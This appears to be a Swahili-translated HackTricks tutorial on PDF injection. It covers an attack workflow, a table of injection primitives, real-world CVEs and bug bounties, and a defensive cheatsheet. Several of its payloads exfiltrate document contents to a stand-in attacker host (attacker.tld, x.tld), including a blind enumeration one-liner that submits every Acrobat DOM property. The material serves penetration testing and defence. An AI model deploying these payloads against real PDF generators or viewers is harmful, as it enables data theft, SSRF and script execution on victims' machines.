PDF Injection

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF. Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua. Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba parenthesis moja isiyo na kuepukwa au back-slash inatosha kwa utekelezaji kamili wa script.

TL;DR – Mchakato wa Shambulio wa Kisasa (2024)

  1. Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya (parenthesis string), /URI ( … ) au /JS ( … ) uwanja katika PDF iliyozalishwa.
  2. Ingiza ) (kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi.
  3. Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu).
  4. Payload yako inafanya kazi katika mtazamaji wa PDF:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (ona CVE-2024-4367)
  • Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa this.getPageNthWord)

Mfano (kuiba kiungo cha maelezo):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

) ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya Action ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.

Primitives za Injection Zinazofaa

LengoKipande cha PayloadMaelezo
JavaScript kwenye ufunguzi/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome).
JavaScript kwenye kiungo/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti /Link annotation.
Kuvuja kwa data kwa siri<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Changanya na this.getPageNthWord ndani ya JS ili kuiba maudhui.
Server-Side SSRFKama ilivyo hapo juu lakini lengo ni URL ya ndani – nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu /URI.
Mstari wa Kuvunja kwa vitu vipya\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjIkiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa.

Hila ya Blind Enumeration

Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana – muhimu unaposhindwa kuona PDF iliyotengenezwa:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa JSON-ish dump ya faili. Tazama karatasi ya nyeupe “Portable Data exFiltration” kwa mbinu kamili.

Real-World Bugs (2023-2025)

  • CVE-2024-4367 – Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya /JavaScript.
  • Bug bounty 2024-05 – Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika /URI; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumia file:/// URI.
  • CVE-2023-26155node-qpdf command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata kabla ya safu ya PDF.

Defensive Cheatsheet

  1. Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja ndani ya () nyuzi au majina. Kwepa \, (, ) kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex <...>.
  2. Ikiwa unajenga viungo, pendelea /URI (https://…) ambayo ume weka URL-kodisha kikamilifu; zuia mipango ya javascript: katika watazamaji wa mteja.
  3. Ondoa au thibitisha kamusi za /OpenAction, /AA (hatua za ziada), /Launch, /SubmitForm na /ImportData wakati wa usindikaji wa baada ya PDFs.
  4. Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia converter isiyo na kichwa (mfano qpdf –decrypt –linearize) ambayo inatoa JavaScript na hatua za nje.
  5. Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida.

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks